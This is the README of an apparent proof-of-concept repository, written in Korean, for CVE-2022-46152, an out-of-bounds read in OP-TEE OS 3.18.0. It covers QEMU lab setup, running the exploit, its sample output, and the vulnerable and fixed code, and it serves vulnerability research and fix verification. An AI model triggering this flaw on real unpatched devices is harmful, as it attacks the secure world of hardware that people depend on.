CVE-2022-46152/
├── README.md                           # 이 파일 (영어)
├── README.zh.md                        # 중국어 버전
├── setup.sh                            # 원클릭 환경 설정
├── run_qemu.sh                         # QEMU 실행
├── exploit.sh                          # 자동/수동 재현 스크립트
├── cve-2022-46152-oob-emsg.patch       # OP-TEE OS 디버그 패치 (entry_std.c OOB EMSG)
├── qemu-pflash-suppress-unimp-log.patch # QEMU 패치 (pflash_write 노이즈 로그 억제)
├── poc/
│   ├── cve_2022_46152.c               # PoC 익스플로잇 소스 (libteec 우회 직접 ioctl)
│   └── Makefile                       # 크로스 컴파일 Makefile
├── docs/
│   └── vulnerability_analysis.md      # 상세 기술 취약점 분석
└── optee/                             # OP-TEE 환경 (setup.sh에 의해 생성됨)
    ├── optee_os/                      # OP-TEE OS 3.18.0 (취약 버전)
    ├── build/                         # 빌드 시스템 (qemu_v8.mk)
    ├── linux/                         # 리눅스 커널
    ├── buildroot/                     # Buildroot 루트 파일시스템
    ├── trusted-firmware-a/            # TF-A v2.6
    ├── qemu/                          # QEMU v7.0.0 (소스)
    └── out/bin/                       # 빌드 산출물
        ├── bl1.bin                    # TF-A BL1
        ├── Image                      # 리눅스 커널 이미지
        └── rootfs.cpio.gz             # PoC가 포함된 루트 파일시스템

# Ubuntu/Debian
sudo apt-get install -y \
    repo git make python3 \
    aarch64-linux-gnu-gcc \
    device-tree-compiler \
    libglib2.0-dev libpixman-1-dev \
    netcat-openbsd expect

# 확인
aarch64-linux-gnu-gcc --version
repo --version

cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..

./setup.sh

# 세 개의 터미널 열기:

# 터미널 1 — QEMU 시작:
./run_qemu.sh --no-gdb

# 터미널 2 — Normal World 콘솔 (run_qemu.sh가 시작된 후 실행):
python3 optee/build/soc_term.py 54320

# 터미널 3 — Secure World (OP-TEE 로그, run_qemu.sh가 시작된 후 실행):
python3 optee/build/soc_term.py 54321

# Normal World 터미널(54320)에서 로그인 프롬프트가 나타난 후:
(none) login: root

# PoC 실행
/root/cve_2022_46152

=== CVE-2022-46152 PoC 익스플로잇 ===
OP-TEE cleanup_shm_refs() 범위 외 읽기
영향: OP-TEE OS < 3.19.0

[+] /dev/tee0 열기 성공
[*] Hello World TA에 세션 열기...
[+] 세션 열림: id=2
[*] 취약점 트리거: num_params=31로 호출
[*] saved_attr[]는 4개 슬롯만 있음 -> 스택에서 27개의 추가 워드 OOB 읽기
[*] 버퍼 크기: 1016바이트 (TEE_MAX_ARG_SIZE 제한: 1024)
[+] ioctl 반환: ret=0xffff0006 origin=0x3

[+] 취약점 트리거됨!
[+] TEE가 TEE_ERROR_BAD_PARAMETERS (0xFFFF0006) 반환
[+] entry_invoke_command()가 num_params=31을 거부했지만,
[+] cleanup_shm_refs(31, saved_attr[4], ...)가 OOB 실행됨!
[*] Secure World UART(포트 54321)에서 크래시 세부 정보 확인.

[*] 완료. Secure World UART 출력에서 OOB/abort 증거 확인.

I/TC: OP-TEE 버전: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!

/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
    uint32_t saved_attr[TEE_NUM_PARAMS];   /* 4개 슬롯만 있음! */
    ...
    res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
    if (res != TEE_SUCCESS) {
        /* ❌ 버그: num_params는 127이 될 수 있음, saved_attr[4..126] OOB 읽기 */
        cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
        goto out;
    }
    ...
}

    if (res != TEE_SUCCESS) {
        /* ✅ 수정: MIN(4, 127) = 4, 더 이상 범위 외 읽기 없음 */
        cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
        goto out;
    }

# 환경 설정
./setup.sh

# QEMU 시작 (GDB 디버그 포트 포함)
./run_qemu.sh

# QEMU 시작 (GDB 대기 없음)
./run_qemu.sh --no-gdb

# 수동 재현 단계 표시
./exploit.sh --manual

# 자동 재현 (추가 터미널 불필요, 현재 셸에 출력)
./exploit.sh

# Normal World 콘솔 연결 (run_qemu.sh 시작 후)
python3 optee/build/soc_term.py 54320

# Secure World 로그 연결 (run_qemu.sh 시작 후)
python3 optee/build/soc_term.py 54321

# OP-TEE OS GDB 디버그
aarch64-linux-gnu-gdb optee/optee_os/out/arm/core/tee.elf
(gdb) target remote localhost:1234
(gdb) c

pflash_write: Write to buffer emulation is flawed

cd optee/qemu
git apply ../../qemu-pflash-suppress-unimp-log.patch
cd build
make -j$(nproc) qemu-system-aarch64

cd optee/optee_os
git apply ../../cve-2022-46152-oob-emsg.patch
cd ../../
make -C optee/build optee-os